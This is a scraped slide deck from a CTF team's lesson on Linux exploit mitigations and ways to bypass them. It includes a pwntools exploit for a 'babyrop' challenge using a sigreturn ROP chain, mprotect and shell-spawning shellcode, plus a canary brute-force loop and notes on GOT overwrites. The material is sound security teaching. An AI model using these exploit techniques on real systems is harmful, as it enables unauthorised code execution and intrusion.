+ All Categories
Home > Documents > Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to...

Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to...

Date post: 24-Jul-2020
Category:
Upload: others
View: 21 times
Download: 0 times
Share this document with a friend
57
Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli flagbot (CTF@VIS) June 29, 2020
Transcript
Page 1: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Lesson 3: Linux HardeningHow to defeat Linux once and for all!

Leonardo Galli

flagbot (CTF@VIS)

June 29, 2020

Page 2: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Table of Contents

Previous Challenge

Exploit MitigationsData Execution Prevention (DEP)Stack CanaryAddress Space Layout Randomization (ASLR)General Tips against RandomizationRelocation Read-Only (RELRO)

Other Tips

Further Readings

Challenge

Page 3: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Previous Challenge

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 3 / 45

Page 4: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Challenge

babyrop

Oh no! Our fibonacci calculator is getting exploited, can you figure out how? I heard ithad something to do with negative numbers...Hints: This binary has only readable memory, so you probably want to remove thatlimit ;) You will probably have to use a sigreturn frame for this, since there are notenough gadgets for all registers. Also, setting %rax is gonna require some effort :)Files: babyrop.zipServer: google.jadoulr.tk 42001Author: Robin Jadoul

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 4 / 45

Page 5: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Overflow Offset

I Can use any technique to figure it out

I I used pwntools and coredumps with cyclic

I Offset is 0x38

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 5 / 45

Page 6: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Overflow Offset

I Can use any technique to figure it out

I I used pwntools and coredumps with cyclic

I Offset is 0x38

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 5 / 45

Page 7: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Offset with pwntools

exe = context.binary = ELF("./rop")

# get offset

io = local()

io.sendline(b"0\0" + cyclic(128))

io.wait()

core = Coredump("./core")

offset = cyclic_find(core.fault_addr & 0xffffffff) + 2

log.info("Buffer has offset %d", offset)

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 6 / 45

Page 8: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Now what?

I We have a buffer overflow and know correct offset

I How can we get a shell?

I The whole binary is read-only, nothing is writable :(

I Use mprotect / mmap to create RWX region for shellcoding!

I mprotect / mmap have a lot of arguments and binary does not have a lot of ROPgadgets

I Use a sigreturn syscall to set all registers!

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 7 / 45

Page 9: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Now what?

I We have a buffer overflow and know correct offset

I How can we get a shell?

I The whole binary is read-only, nothing is writable :(

I Use mprotect / mmap to create RWX region for shellcoding!

I mprotect / mmap have a lot of arguments and binary does not have a lot of ROPgadgets

I Use a sigreturn syscall to set all registers!

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 7 / 45

Page 10: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

mprotect SROP

I First we need a syscall; ret; gadget: 0x40127f

I Next, we need a gadget (chain) for setting %rax to 0xf (15 in decimal)

I Call fib(-15) , since %rax is return value!

I For this, we need to set %rdi, the first argumentI Can do this with the following two gadgets:

I pop rbx; ...; ret; : 0x401186

I mov rdi, rbx; ret; : 0x401260

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 8 / 45

Page 11: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

mprotect SROP

I First we need a syscall; ret; gadget: 0x40127f

I Next, we need a gadget (chain) for setting %rax to 0xf (15 in decimal)

I Call fib(-15) , since %rax is return value!

I For this, we need to set %rdi, the first argumentI Can do this with the following two gadgets:

I pop rbx; ...; ret; : 0x401186

I mov rdi, rbx; ret; : 0x401260

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 8 / 45

Page 12: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

mprotect SROP

I First we need a syscall; ret; gadget: 0x40127f

I Next, we need a gadget (chain) for setting %rax to 0xf (15 in decimal)

I Call fib(-15) , since %rax is return value!

I For this, we need to set %rdi, the first argumentI Can do this with the following two gadgets:

I pop rbx; ...; ret; : 0x401186

I mov rdi, rbx; ret; : 0x401260

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 8 / 45

Page 13: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

ROP Chain

frame = SigreturnFrame()

frame.rax = ... # setting up SROP here, explanation will come later

rop = ROP(exe)

rop.call(pop_rbx)

rop.raw(-constants.SYS_rt_sigreturn) # set rbx = -15

rop.raw("A"*8) # filler

rop.call(mov_rdi_rbx) # set rdi = rbx

rop.call(exe.symbols.fib) # call fib(rdi) = fib(-15) -> sets rax = 15

rop.call(syscall_ret) # jump to syscall ret gadget,

# since rax = 15 will execute sigreturn

rop.raw(frame) # sigreturn frame contents

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 9 / 45

Page 14: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

SigreturnFrame Setup

I Things we need to decide:I mprotect or mmap?I value of %ripI value of %rspI plan for what to do after we return from syscall

I binary is not stripped, so we have list of its symbols somewhere in memoryI If we point %rsp to that location, we can continue ROPing! Our Plan:

1. mprotect the whole binary to RWX2. set %rsp to 0x402240, since we have a pointer to vuln there3. after mprotect, execute return, and so jumping back to vuln4. we can overflow again, but this time know the buffer location and it is RWX!

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 10 / 45

Page 15: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

SigreturnFrame Setup

I Things we need to decide:I mprotect or mmap?I value of %ripI value of %rspI plan for what to do after we return from syscall

I binary is not stripped, so we have list of its symbols somewhere in memoryI If we point %rsp to that location, we can continue ROPing! Our Plan:

1. mprotect the whole binary to RWX2. set %rsp to 0x402240, since we have a pointer to vuln there3. after mprotect, execute return, and so jumping back to vuln4. we can overflow again, but this time know the buffer location and it is RWX!

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 10 / 45

Page 16: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

SigreturnFrame Setup

I sigreturn can set all registers for us

I we set %rsp as explained before, %rax to 0xa (mprotect) and %rip to asyscall; ret; gadget.

I hence our frame looks like:

frame = SigreturnFrame()

frame.rax = constants.SYS_mprotect # for syscall

frame.rdi = addr # address we want to mprotect, here 0x402000

frame.rsi = 0x1000 # amount of bytes we want to mprotect

frame.r10 = constants.MAP_FIXED # not really needed

frame.rdx = constants.eval('PROT_READ | PROT_WRITE | PROT_EXEC') # RWX

frame.rsp = 0x402240 # our "fake" stack after mprotect

frame.rip = syscall_ret # syscall ret gadget

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 11 / 45

Page 17: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Shellcoding

I now vuln is being executed again, however now we know buffer location and stackis RWX!

I buffer overflow, but use it to immediately jump to our buffer!

I fill rest of buffer contents with shellcode:

shellcode = 0x402250 # location of our buffer

io.sendline(fit({

0: b"0\0",

offset: shellcode, # overwrite rip with shellcode location

offset + 8: asm(shellcraft.sh()) # shellcode for getting a shell

}))

Leonardo Galli Lesson 3: Linux Hardening — Previous Challenge June 29, 2020 12 / 45

Page 18: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Exploit MitigationsData Execution Prevention (DEP)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 13 / 45

Page 19: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

The Good Old Days

I Initially, CPU and OS did not care where %rip points to

I Could point to data (stack or program data) and would still continue executing

I Heavily abused by us for e.g. shellcoding (just write some shellcode in data andjump to data)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 14 / 45

Page 20: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Data Execution Prevention (DEP)

I To alleviate this, allow marking of memory regions as not executableI Has many different names, but they all mean a similar thing:

I NX (Non-Execute) Bit is hardware on x64 processors responsible for thisI No-Exec Stack GCC flag to mark stack non executableI WˆX (Write XOR eXecute) in OpenBSD

I Usually done in hardware, so quite effective

I When trying to jump to NX memory, program will segfault :(

I Enabled by default, even for most CTFs!

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 15 / 45

Page 21: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Working Around DEP

I ROPing is not directly prevented with DEP

I Use ROP to execute mmap / mprotect and DEP is ”removed”

I Find memory region in binary that might still be RWXI Sometimes RWX is necessary and hence can be exploited:

I Any JIT engine (Just In Time) such as JavaScript, Java or even C# (with mono)I Often Browsers are the main culpritI In general, any interpreted language (also python)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 16 / 45

Page 22: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Exploit MitigationsStack Canary

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 17 / 45

Page 23: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Up to Now

I Any buffer overflow immediately leads to overwriting %rip

I Do not care about contents of buffer before %rip

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 18 / 45

Page 24: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Stack Canary

I Prevent Buffer Overflows by adding a secret value in front of %rip

I Check the integrity of the secret value before returning!I Many different names:

I Stack Smashing Protector (SSP)I Stack Cookie / Canary

I Is generated per-process, not per-function!

I Usually, first byte is a null-byte, and hence you cannot leak it easily

I Enabled by default for normal applications (CTFs not necessarily!)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 19 / 45

Page 25: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 1: Need for a Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name); ⇐printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f78canary0x7fb0

name[8:15]

0x7fa8n[8]. . .n[15]

name[0:7]

0x7fa0n[0]. . .n[7]

callme

stack frame

stackgrow

th

...

Figure: The Stack

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 20 / 45

Page 26: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 1: Need for a Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name); ⇐if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f78canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Output: "Hello AAAAAAAAAAAAAAAAx???g??"

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 20 / 45

Page 27: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 1: Need for a Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail();

return 2; ⇐}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f78canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 20 / 45

Page 28: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 2: Leaking with Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name); ⇐printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f00canary0x7fb0

name[8:15]

0x7fa8n[8]. . .n[15]

name[0:7]

0x7fa0n[0]. . .n[7]

callme

stack frame

stackgrow

th

...

Figure: The Stack

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 21 / 45

Page 29: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 2: Leaking with Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name); ⇐if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f00canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Output: "Hello AAAAAAAAAAAAAAAA"

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 21 / 45

Page 30: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 2: Leaking with Null Byte

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail();

return 2; ⇐}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f00canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 21 / 45

Page 31: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 3: Leaking with Null Byte and Crashing

int callme() {

long canary = get_canary();

char name[16];

gets(name); ⇐printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f00canary0x7fb0

name[8:15]

0x7fa8n[8]. . .n[15]

name[0:7]

0x7fa0n[0]. . .n[7]

callme

stack frame

stackgrow

th

...

Figure: The Stack

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 22 / 45

Page 32: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 3: Leaking with Null Byte and Crashing

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name); ⇐if (canary != get_canary())

__stack_chk_fail();

return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f41canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Output: "Hello AAAAAAAAAAAAAAAAA???g??"

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 22 / 45

Page 33: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Example 3: Leaking with Null Byte and Crashing

int callme() {

long canary = get_canary();

char name[16];

gets(name);

printf("Hello %s", name);

if (canary != get_canary())

__stack_chk_fail(); ⇐return 2;

}

...

0x7fe0saved %rbp

0x7fc0

0x4012aesaved %rip

0x7fb8

0x8ba01867943f8f41canary0x7fb0

name[8:15]

0x7fa8'A'. . .'A'

name[0:7]

0x7fa0'A'. . .'A'

callme

stack frame

stackgrow

th

...

Figure: The Stack

Output: "*** stack smashing detected ***: <unknown> terminated"

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 22 / 45

Page 34: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Working Around Stack Canaries

I If you have a relative (or absolute) write to memory, you can skip writing thecanary!

I You can try leaking the canary, if you have a way to read memory

I If return never called (or not immediately), you can still overwrite Null Byte andleak canary

I Overwrite global data (not protected)I Could allow overwriting of addresses, if they are stored in global variablesI Or overwriting of ELF information

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 23 / 45

Page 35: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Exploit MitigationsAddress Space Layout Randomization (ASLR)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 24 / 45

Page 36: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Up to Now

I Code execution is very deterministic

I Once you found a usable address (with e.g. gdb) you can reuse it

I In the ”good old days”, everything was deterministic, even stack!

I Made exploitation very easy, since you always knew where stack and libc were

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 25 / 45

Page 37: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Address Space Layout Randomization (ASLR)

I Randomize memory layout to make exploitation more difficult

I Stack can be at randomized location automatically and is done by default on mostOS

I For code, programmer needs to compile with PIC (Position Independent Code)generating a PIE (Position Independent Executable)I Done by default for shared libraries such as libcI You cannot know where system function is, without knowing base of libcI Often, main program is not compiled with PIC howeverI If main program is compiled with PIC, you cannot easily use gadgets!

I Only base address is randomized, not e.g. the relative positions of differentfunctions!

I Once you know the base of a PIE, you know where all functions are!

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 26 / 45

Page 38: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Randomization

I Pages have to be aligned, meaning lowest 12 bits are known!

I Address space restricted in x86, for example PIE base only has 8 bits ofrandomization!

I On x64 much more bits available!

I Not re-applied when you call fork() !

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 27 / 45

Page 39: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Exploit MitigationsGeneral Tips against Randomization

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 28 / 45

Page 40: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Partial Overwrites

I A lot of places store existing addresses (such as GOT or stack)I Only overwrite part of existing address!

I If new and old address share last byte, no bruteforce needed!I Often however, they differ in the last two or three bytes.I Still, only 4-12 bits of brute force needed!

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 29 / 45

Page 41: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Forking is bad

I Nothing is re-randomized when you call fork() !

I If you cause a crash in the child, parent will still have same canary, PIE base, etc.I Often useful in programs that handle their own network connection:

I Accept incoming connectionI ForkI If in child, run actually program (you will be talking to the child)I If in parent continue accepting connections

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 30 / 45

Page 42: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Leaking with Forks

I Can overwrite Null Byte for a leak, since crash is not important

I Can brute force byte by byte:

for byte in range(0, 255): # usually first byte should be null!

payload = fit(canary_offset: p8(byte)) # don't use p64,

# otherwise you will overwrite all of the canary!

did_crash = send_payload(payload)

if not did_crash:

log.info("First byte of canary is: 0x%x", byte)

break

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 31 / 45

Page 43: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Exploit MitigationsRelocation Read-Only (RELRO)

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 32 / 45

Page 44: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Dynamic Symbol Resolution

I libc is an example of a dynamic library, any symbols used are dynamically resolved

I If libc is randomized, how can binary know where e.g. system is located?I Procedural Linkage Table (PLT) and Global Offset Table (GOT) to the rescue!

I GOT stores addresses of dynamic symbolsI PLT contains small stubs, that jump to the address stored in the GOTI At the beginning GOT points back to PLT, which in turn then jumps to linker to

resolve symbol location and write to GOTI Once symbol is resolved once, PLT will directly jump to correct address

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 33 / 45

Page 45: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Using GOT to our Advantage

I If we call puts(printf@got) we can leak libc address!

I If we overwrite GOT entry, we can execute arbitrary symbols!

I Can be achieved with ROP, data segment overflow or other means

I Usually, want to overwrite something like exit, since it will be called at the end

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 34 / 45

Page 46: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Partial RELRO

I Rearrange sections, so that global data overflow should not overflow into GOT,PLT, etc.

I Maps parts of the GOT read-only

I However, important parts are still read-write!

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 35 / 45

Page 47: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Full RELRO

I Do everything from Partial RELRO

I Resolve all symbols before main function runs

I Map all of the GOT as read-only!

I However, often not used, as it can slow down program startup time!

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 36 / 45

Page 48: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Defeating Full RELRO

I Currently, no way of actually defeating full RELRO knownI However, there are always other sections which can be overwritten leading to code

execution:I global file structsI __malloc_hookI linker global symbolsI etc.

I More information in Further Readings

Leonardo Galli Lesson 3: Linux Hardening — Exploit Mitigations June 29, 2020 37 / 45

Page 49: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Other Tips

Leonardo Galli Lesson 3: Linux Hardening — Other Tips June 29, 2020 38 / 45

Page 50: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Identifying Protections

I pwntools includes helper program called checksec

I Usage: checksec ./vuln

I Shows you:I ArchitectureI RELRO (No, Partial, Full)I Stack Canary (No, Yes)I NX (No, Yes): No-Exec StackI PIE (No, Yes)I If there are RWX segments present

Leonardo Galli Lesson 3: Linux Hardening — Other Tips June 29, 2020 39 / 45

Page 51: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Identifying a Libc

I To find exact address of system or one gadgets, you need to have exact libc binary!

I Easy to do, if running locally, but what about the server?

I Different symbols always have the same relative address for the same binary!

I Leak address of three or four libc symbols

I Use online database libc database to find the one on the server

Leonardo Galli Lesson 3: Linux Hardening — Other Tips June 29, 2020 40 / 45

Page 52: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Identifying a Libc

I To find exact address of system or one gadgets, you need to have exact libc binary!

I Easy to do, if running locally, but what about the server?

I Different symbols always have the same relative address for the same binary!

I Leak address of three or four libc symbols

I Use online database libc database to find the one on the server

Leonardo Galli Lesson 3: Linux Hardening — Other Tips June 29, 2020 40 / 45

Page 53: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

one gadget

I Setting up arguments for execve / system call can be annoying

I Usually, libc can do the work for you!

I one gadget is a tool that will give you addresses in libc, which callexecve("/bin/sh", 0, 0) for you

I Will also tell you any constraints you need to fulfill, to prevent a crash

Leonardo Galli Lesson 3: Linux Hardening — Other Tips June 29, 2020 41 / 45

Page 54: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Further Readings

Leonardo Galli Lesson 3: Linux Hardening — Further Readings June 29, 2020 42 / 45

Page 55: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Defeating Mitigations

I ASLRI Exploiting Linux and PaX ASLR’s weaknesses on 32- and 64-bit systems

I Full RELROI BabyFS Writeup: Abusing file structsI Full RELRO Bypass using __malloc_hookI using libc exit routines

Leonardo Galli Lesson 3: Linux Hardening — Further Readings June 29, 2020 43 / 45

